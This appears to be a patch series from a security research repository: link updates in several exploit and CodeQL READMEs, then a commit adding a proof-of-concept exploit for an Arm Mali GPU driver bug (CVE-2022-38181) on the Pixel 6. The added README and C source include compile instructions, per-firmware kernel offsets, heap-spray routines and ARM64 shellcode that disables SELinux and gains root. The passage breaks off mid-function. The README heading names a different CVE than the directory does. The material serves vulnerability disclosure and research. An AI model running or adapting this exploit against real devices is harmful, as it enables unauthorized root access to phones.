post](https://securitylab.github.com/research/apple-xnu-exploit-icmp-poc/), is to use dataflow analysis to find a path that gets an untrusted `mbuf` into `icmp_error`. The second part of the demo is developed in steps, starting with `01_paths_to_icmp_error.ql`. diff --git a/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md b/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md index b0039e9..9304638 100644 --- a/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md +++ b/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md @@ -1,4 +1,4 @@ -https://github.blog/category/security/CVE-2018-4249-apple-xnu-packet-mangler/ +https://securitylab.github.com/research/CVE-2018-4249-apple-xnu-packet-mangler/ There were multiple bugs in `packet_mangler.c`. One of the infinite loop bugs was fixed in macOS High Sierra 10.13.2. The other bugs were fixed in macOS High Sierra 10.13.5. diff --git a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md index ee53f5c..b03a616 100644 --- a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md +++ b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md @@ -1,4 +1,4 @@ -[Blog post](https://github.blog/category/security/librelp-buffer-overflow-cve-2018-1000140/). +[Blog post](https://securitylab.github.com/research/librelp-buffer-overflow-cve-2018-1000140/). This bug was found by one of [CodeQL](https://codeql.github.com/) default queries. However, it also makes a good example of using QL interactively. The queries in this directory show how you can interactively develop the query. diff --git a/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md b/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md index 5b32d6c..f53ac28 100644 --- a/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md +++ b/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md @@ -1,4 +1,4 @@ -[Blog post](https://github.blog/category/security/apache-struts-vulnerability-cve-2017-9805/) +[Blog post](https://securitylab.github.com/research/apache-struts-vulnerability-cve-2017-9805/) [This snapshot](https://github.com/github/securitylab/releases/download/apache-struts-codeql-database/apache-struts-91ae344-CVE-2017-9805.zip) has the bug. diff --git a/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md b/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md index bd6e664..e03b9a1 100644 --- a/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md +++ b/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md @@ -1,6 +1,6 @@ # Apache Struts CVE-2018-11776 -[Blog post](https://github.blog/category/security/apache-struts-CVE-2018-11776/) +[Blog post](https://securitylab.github.com/research/apache-struts-CVE-2018-11776/) [This snapshot](https://github.com/github/securitylab/releases/download/apache-struts-CVE-2018-11776-codeql-database/apache-struts-7fd1622-CVE-2018-11776.zip) has the bug. diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md index ca4dff7..ab633c3 100644 --- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md +++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md @@ -1,4 +1,4 @@ -[Blog post](https://github.blog/category/security/etherpad-reflected-file-download/) +[Blog post](https://securitylab.github.com/research/etherpad-reflected-file-download/) [This snapshot](https://github.com/github/securitylab/releases/download/etherpad-vulnerable-codeql-database/Etherpad_1.6.2.zip) has the vulnerability. diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md index fe520f4..041dc4b 100644 --- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md +++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md @@ -1,5 +1,5 @@ This is an alternative presentation of the query from the blog post about -[Detecting Reflected File Download vulnerabilities using QL](https://github.blog/category/security/etherpad-reflected-file-download/), +[Detecting Reflected File Download vulnerabilities using QL](https://securitylab.github.com/research/etherpad-reflected-file-download/), phrasing it as a customization of Semmle's standard Reflected XSS query. Use [this snapshot](https://github.com/github/securitylab/releases/download/etherpad-vulnerable-codeql-database/Etherpad_1.6.2.zip) (etherpad-lite v1.6.2) diff --git a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md index da1c15b..96d0ac4 100644 --- a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md +++ b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md @@ -1,4 +1,4 @@ -For more information about this exploit PoC, see the [blog post](https://github.blog/category/security/apple-xnu-dtrace-CVE-2017-13782/). +For more information about this exploit PoC, see the [blog post](https://securitylab.github.com/research/apple-xnu-dtrace-CVE-2017-13782/). This exploit PoC is designed for macOS High Sierra version 10.13. Apple released a patch on [Oct 31, 2017](https://support.apple.com/en-us/HT208221). diff --git a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c index 10802c0..f838f4f 100644 --- a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c +++ b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c @@ -2,7 +2,6 @@ * Copyright Kevin Backhouse / Semmle Ltd (2017) * License: Apache License 2.0 * - * For more information: https://github.blog/category/security/ */ #include #include diff --git a/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md b/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md index 5515cce..b6b0d40 100644 --- a/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md +++ b/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md @@ -2,7 +2,7 @@ Proof-of-concept exploit for a remotely triggerable heap buffer overflow vulnerability in iOS 11.4.1 and macOS 10.13.6. This exploit can be used to crash any vulnerable iOS or macOS device that is connected to the same network as the attacker's computer. The vulnerability can be triggered without any user interaction on the victim's device. The exploit involves sending a TCP packet with non-zero options in the IP and TCP headers. It is possible that some routers or switches will refuse to deliver such packets, but it has worked for me on all the home and office networks that I have tried it on. However, I have found that it is not usually possible to send the malicious packet across the internet. -For more information about the vulnerability, see the [blog post](https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/). +For more information about the vulnerability, see the [blog post](https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407/). The buffer overflow is in this code [bsd/netinet/ip_icmp.c:339](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L339): diff --git a/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md b/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md index 9c9de96..6d8a9bb 100644 --- a/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md +++ b/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md @@ -2,7 +2,7 @@ This directory contains a minimal [NFS](https://en.wikipedia.org/wiki/Network_File_System) server. It only implements a very small subset of the [NFS protocol](https://www.ietf.org/rfc/rfc1813.txt): just enough to trigger one of the buffer overflow vulnerabilities in the macOS XNU operating system kernel. The vulnerabilities were fixed in macOS version [10.13.6](https://support.apple.com/en-gb/HT208937). -For more details about the vulnerabilities, see the [blog post](https://github.blog/category/security/cve-2018-4259-macos-nfs-vulnerability/). +For more details about the vulnerabilities, see the [blog post](https://securitylab.github.com/research/cve-2018-4259-macos-nfs-vulnerability/). To compile and run (on Linux): diff --git a/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md b/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md index 1a4e6a7..a55efe8 100644 --- a/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md +++ b/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md @@ -4,4 +4,4 @@ Proof-of-concept exploit for remote code execution vulnerability in the packet-m Update: Apple's fix for the infinite loop bug was incomplete. The fix for CVE-2018-4460 was released on December 5, 2018. -For details on how to compile and run this exploit, see the [blog post](https://github.blog/category/security/CVE-2018-4249-apple-xnu-packet-mangler/). +For details on how to compile and run this exploit, see the [blog post](https://securitylab.github.com/research/CVE-2018-4249-apple-xnu-packet-mangler/). diff --git a/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md b/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md index bfdae3f..989f3aa 100644 --- a/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md +++ b/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md @@ -2,4 +2,4 @@ This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [librelp](https://www.rsyslog.com/librelp/). The vulnerability was fixed in librelp version [1.2.15](https://www.rsyslog.com/librelp-1-2-15/), released on 2018-03-22. -For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [blog](https://github.blog/category/security/librelp-buffer-overflow-cve-2018-1000140/). +For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [blog](https://securitylab.github.com/research/librelp-buffer-overflow-cve-2018-1000140/). From acfdbef031174bc11ca9cc59ce4e78d50cc754c3 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 20 Jan 2023 15:24:01 +0000 Subject: [PATCH 091/140] Initial commit. --- .../Android/Mali/CVE_2022_38181/README.md | 41 + .../Android/Mali/CVE_2022_38181/hello-jni2.c | 759 ++++++++++ .../Android/Mali/CVE_2022_38181/mali.h | 1060 ++++++++++++++ .../Mali/CVE_2022_38181/mali_base_jm_kernel.h | 1216 +++++++++++++++++ .../Mali/CVE_2022_38181/mali_shrinker_mmap.c | 796 +++++++++++ .../Android/Mali/CVE_2022_38181/midgard.h | 260 ++++ 6 files changed, 4132 insertions(+) create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/README.md create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/hello-jni2.c create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/mali.h create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/mali_base_jm_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/mali_shrinker_mmap.c create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/midgard.h diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/README.md b/SecurityExploits/Android/Mali/CVE_2022_38181/README.md new file mode 100644 index 0000000..71df73d --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_38181/README.md @@ -0,0 +1,41 @@ +## Exploit for CVE-2022-20186 + +The write up can be found [here](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug). This is a bug in the Arm Mali kernel driver that I reported in July 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. + +The exploit is tested on the Google Pixel 6. The original exploit that was sent to Google is included as `hello-jni.c` as a reference and was tested on the July 2022 patch of the Pixel 6. Due to the fact that Pixel 6 cannot be downgraded from Android 13 to Android 12, an updated version of the exploit, `mali_shrinker_mmap.c` is included, which supports various firmware in Android 13, including the December patch, which is the latest affected version. For reference, I used the following command to compile with clang in ndk-21: + +``` +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_shrinker_mmap.c -o mali_shrinker_mmap +``` + +The exploit should be run a couple of minutes after boot and should be fairly reliable. If successful, it should disable SELinux and gain root. + +``` +oriole:/ $ /data/local/tmp/mali_shrinker_mmap +fingerprint: google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys +failed, retry. +failed, retry. +region freed 51 +read 0 +cleanup flush region +jit_freed +jit_free commit: 0 0 +Found freed_idx 0 +Found pgd 20, 769c414000 +overwrite addr : 7701100710 710 +overwrite addr : 7700f00710 710 +overwrite addr : 7701100710 710 +overwrite addr : 7700f00710 710 +overwrite addr : 7700d00710 710 +overwrite addr : 7700f00710 710 +overwrite addr : 7700d00710 710 +overwrite addr : 7701100fd4 fd4 +overwrite addr : 7700f00fd4 fd4 +overwrite addr : 7701100fd4 fd4 +overwrite addr : 7700f00fd4 fd4 +overwrite addr : 7700d00fd4 fd4 +overwrite addr : 7700f00fd4 fd4 +overwrite addr : 7700d00fd4 fd4 +result 50 +oriole:/ # +``` diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/hello-jni2.c b/SecurityExploits/Android/Mali/CVE_2022_38181/hello-jni2.c new file mode 100644 index 0000000..b9ef3ce --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_38181/hello-jni2.c @@ -0,0 +1,759 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include +#include + +#include "mali.h" +#include "mali_base_jm_kernel.h" +#include "midgard.h" + +#ifdef SHELL +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#include +#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__) + +#endif //SHELL + +#define MALI "/dev/mali0" + +#define PAGE_SHIFT 12 + +#define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576) + +#define PFN_DOWN(x) ((x) >> PAGE_SHIFT) + +#define SPRAY_PAGES 25 + +#define SPRAY_NUM 64 + +#define FLUSH_SIZE (0x1000 * 0x1000) + +#define SPRAY_CPU 0 + +#define POOL_SIZE 16384 + +#define RESERVED_SIZE 32 + +#define TOTAL_RESERVED_SIZE 1024 + +#define FLUSH_REGION_SIZE 500 + +#define NUM_TRIALS 100 + +#define KERNEL_BASE 0x80000000 + +#define OVERWRITE_INDEX 256 + +#define ADRP_INIT_INDEX 0 + +#define ADD_INIT_INDEX 1 + +#define ADRP_COMMIT_INDEX 2 + +#define ADD_COMMIT_INDEX 3 + +#define AVC_DENY_2108 0x92df1c + +#define SEL_READ_ENFORCE_2108 0x942ae4 + +#define INIT_CRED_2108 0x29a0570 + +#define COMMIT_CREDS_2108 0x180b0c + +#define ADD_INIT_2108 0x9115c000 + +#define ADD_COMMIT_2108 0x912c3108 + +#define AVC_DENY_2201 0x930af4 + +#define SEL_READ_ENFORCE_2201 0x9456bc + +#define INIT_CRED_2201 0x29b0570 + +#define COMMIT_CREDS_2201 0x183df0 + +#define ADD_INIT_2201 0x9115c000 + +#define ADD_COMMIT_2201 0x9137c108 + +#define AVC_DENY_2202 0x930b50 + +#define SEL_READ_ENFORCE_2202 0x94551c + +#define INIT_CRED_2202 0x29b0570 + +#define COMMIT_CREDS_2202 0x183e3c + +#define ADD_INIT_2202 0x9115c000 //add x0, x0, #0x570 + +#define ADD_COMMIT_2202 0x9138f108 //add x8, x8, #0xe3c + +#define AVC_DENY_2207 0x927664 + +#define SEL_READ_ENFORCE_2207 0x93bf5c + +#define INIT_CRED_2207 0x29e07f0 + +#define COMMIT_CREDS_2207 0x18629c + +#define ADD_INIT_2207 0x911fc000 //add x0, x0, #0x7f0 + +#define ADD_COMMIT_2207 0x910a7108 //add x8, x8, #0x29c + +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2207; + +static uint64_t avc_deny = AVC_DENY_2207; + +/* +Overwriting SELinux to permissive + strb wzr, [x0] + mov x0, #0 + ret +*/ +static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; + +static uint32_t root_code[8] = {0}; + +static uint8_t jit_id = 1; +static uint8_t atom_number = 1; +static uint64_t gpu_va[SPRAY_NUM] = {0}; +static int gpu_va_idx = 0; +static void* flush_regions[FLUSH_REGION_SIZE]; +static void* alias_regions[SPRAY_NUM] = {0}; +static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; + + +struct base_mem_handle { + struct { + __u64 handle; + } basep; +}; + +struct base_mem_aliasing_info { + struct base_mem_handle handle; + __u64 offset; + __u64 length; +}; + +static int open_dev(char* name) { + int fd = open(name, O_RDWR); + if (fd == -1) { + err(1, "cannot open %s\n", name); + } + return fd; +} + +void setup_mali(int fd, int group_id) { + struct kbase_ioctl_version_check param = {0}; + if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, ¶m) < 0) { + err(1, "version check failed\n"); + } + struct kbase_ioctl_set_flags set_flags = {group_id << 3}; + if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) { + err(1, "set flags failed\n"); + } +} + +void* setup_tracking_page(int fd) { + void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE); + if (region == MAP_FAILED) { + err(1, "setup tracking page failed"); + } + return region; +} + +void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) { + struct kbase_ioctl_mem_jit_init init = {0}; + init.va_pages = va_pages; + init.max_allocations = 255; + init.trim_level = trim_level; + init.group_id = group_id; + init.phys_pages = va_pages; + + if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) { + err(1, "jit init failed\n"); + } +} + +uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages, uint64_t gpu_alloc_addr) { + struct base_jit_alloc_info info = {0}; + struct base_jd_atom_v2 atom = {0}; + + info.id = id; + info.gpu_alloc_addr = gpu_alloc_addr; + info.va_pages = va_pages; + info.commit_pages = va_pages; + info.extension = 0x1000; + + atom.jc = (uint64_t)(&info); + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_SOFT_JIT_ALLOC; + atom.nr_extres = 1; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + return *((uint64_t*)gpu_alloc_addr); +} + +void jit_free(int fd, uint8_t atom_number, uint8_t id) { + uint8_t free_id = id; + + struct base_jd_atom_v2 atom = {0}; + + atom.jc = (uint64_t)(&free_id); + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_SOFT_JIT_FREE; + atom.nr_extres = 1; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + +} + +void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, int ignore_results) { + struct kbase_ioctl_mem_flags_change change = {0}; + change.flags = flags; + change.gpu_va = gpu_addr; + change.mask = flags; + if (ignore_results) { + ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change); + return; + } + if (ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change) < 0) { + err(1, "flags_change failed\n"); + } +} + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) { + err(1, "mem_alloc failed\n"); + } +} + +void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) { + err(1, "mem_alias failed\n"); + } +} + +void mem_query(int fd, union kbase_ioctl_mem_query* query) { + if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) { + err(1, "mem_query failed\n"); + } +} + +void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) { + struct kbase_ioctl_mem_commit commit = {.gpu_addr = gpu_addr, pages = pages}; + if (ioctl(fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) { + err(1, "mem_commit failed\n"); + } +} + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22); + int prot = PROT_READ; + if (!read_only) { + alloc.in.flags |= BASE_MEM_PROT_GPU_WR; + prot |= PROT_WRITE; + } + alloc.in.va_pages = va_pages; + alloc.in.commit_pages = commit_pages; + mem_alloc(mali_fd, &alloc); + void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + return region; +} + +uint64_t alloc_mem(int mali_fd, unsigned int pages) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void free_mem(int mali_fd, uint64_t gpuaddr) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = gpuaddr}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} + +uint64_t drain_mem_pool(int mali_fd) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = POOL_SIZE; + alloc.in.commit_pages = POOL_SIZE; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void release_mem_pool(int mali_fd, uint64_t drain) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} + +#define CPU_SETSIZE 1024 +#define __NCPUBITS (8 * sizeof (unsigned long)) +typedef struct +{ + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; +} cpu_set_t; + +#define CPU_SET(cpu, cpusetp) \ + ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) +#define CPU_ZERO(cpusetp) \ + memset((cpusetp), 0, sizeof(cpu_set_t)) + +int migrate_to_cpu(int i) +{ + int syscallres; + pid_t pid = gettid(); + cpu_set_t cpu; + CPU_ZERO(&cpu); + CPU_SET(i, &cpu); + + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); + if (syscallres) + { + return -1; + } + return 0; +} + +void* flush(int spray_cpu, int idx) { + migrate_to_cpu(spray_cpu); + void* region = mmap(NULL, FLUSH_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + if (region == MAP_FAILED) err(1, "flush failed"); + memset(region, idx, FLUSH_SIZE); + return region; +} + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + reserved_va[i] = alloc.out.gpu_va; + } +} + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]); + if (reserved == MAP_FAILED) { + err(1, "mmap reserved failed"); + } + reserved_va[i] = (uint64_t)reserved; + } +} + +uint64_t alias_sprayed_regions(int mali_fd) { + union kbase_ioctl_mem_alias alias = {0}; + alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + alias.in.stride = SPRAY_PAGES; + + alias.in.nents = SPRAY_NUM; + struct base_mem_aliasing_info ai[SPRAY_NUM]; + for (int i = 0; i < SPRAY_NUM; i++) { + ai[i].handle.basep.handle = gpu_va[i]; + ai[i].length = SPRAY_PAGES; + ai[i].offset = 0; + } + alias.in.aliasing_info = (uint64_t)(&(ai[0])); + mem_alias(mali_fd, &alias); + uint64_t region_size = 0x1000 * SPRAY_NUM * SPRAY_PAGES; + void* region = mmap(NULL, region_size, PROT_READ, MAP_SHARED, mali_fd, alias.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap alias failed"); + } + alias_regions[0] = region; + for (int i = 1; i < SPRAY_NUM; i++) { + void* this_region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ, MAP_SHARED, mali_fd, (uint64_t)region + i * 0x1000 * SPRAY_PAGES); + if (this_region == MAP_FAILED) { + err(1, "mmap alias failed %d\n", i); + } + alias_regions[i] = this_region; + } + return (uint64_t)region; +} + +void fault_pages() { + int read = 0; + for (int va = 0; va < SPRAY_NUM; va++) { + uint8_t* this_va = (uint8_t*)(gpu_va[va]); + *this_va = 0; + uint8_t* this_alias = alias_regions[va]; + read += *this_alias; + } + LOG("read %d\n", read); +} + +int find_freed_idx(int mali_fd) { + int freed_idx = -1; + for (int j = 0; j < SPRAY_NUM; j++) { + union kbase_ioctl_mem_query query = {0}; + query.in.gpu_addr = gpu_va[j]; + query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE; + ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query); + if (query.out.value != SPRAY_PAGES) { + LOG("jit_free commit: %d %llu\n", j, query.out.value); + freed_idx = j; + } + } + return freed_idx; +} + +int find_pgd(int freed_idx, int start_pg) { + uint64_t* this_alias = alias_regions[freed_idx]; + for (int pg = start_pg; pg < SPRAY_PAGES; pg++) { + for (int i = 0; i < 0x1000/8; i++) { + uint64_t entry = this_alias[pg * 0x1000/8 + i]; + if ((entry & 0x443) == 0x443) { + return pg; + } + } + } + return -1; +} + +uint32_t lo32(uint64_t x) { + return x & 0xffffffff; +} + +uint32_t hi32(uint64_t x) { + return x >> 32; +} + +uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { + uint64_t pc_page = pc >> 12; + uint64_t label_page = label >> 12; + int64_t offset = (label_page - pc_page) << 12; + int64_t immhi_mask = 0xffffe0; + int64_t immhi = offset >> 14; + int32_t immlo = (offset >> 12) & 0x3; + uint32_t adpr = rd & 0x1f; + adpr |= (1 << 28); + adpr |= (1 << 31); //op + adpr |= immlo << 29; + adpr |= (immhi_mask & (immhi << 5)); + return adpr; +} + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) { + + uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); + //Sets x0 to init_cred + root_code[ADRP_INIT_INDEX] = init_adpr; + root_code[ADD_INIT_INDEX] = add_init; + //Sets x8 to commit_creds + root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred); + root_code[ADD_COMMIT_INDEX] = add_commit; + root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xd63f0100; // blr x8 + root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xd65f03c0; // ret +} + +uint64_t set_addr_lv3(uint64_t addr) { + uint64_t pfn = addr >> PAGE_SHIFT; + pfn &= ~ 0x1FFUL; + pfn |= 0x100UL; + return pfn << PAGE_SHIFT; +} + +static inline uint64_t compute_pt_index(uint64_t addr, int level) { + uint64_t vpfn = addr >> PAGE_SHIFT; + vpfn >>= (3 - level) * 9; + return vpfn & 0x1FF; +} + +void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) { + void* jc_region = map_gpu(mali_fd, 1, 1, false, 0); + struct MALI_JOB_HEADER jh = {0}; + jh.is_64b = true; + jh.type = MALI_JOB_TYPE_WRITE_VALUE; + + struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0}; + payload.type = type; + payload.immediate_value = value; + payload.address = gpu_addr; + + MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh); + MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload); + uint32_t* section = (uint32_t*)jc_region; + struct base_jd_atom_v2 atom = {0}; + atom.jc = (uint64_t)jc_region; + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_CS; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + usleep(10000); +} + +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) { + uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; + uint64_t 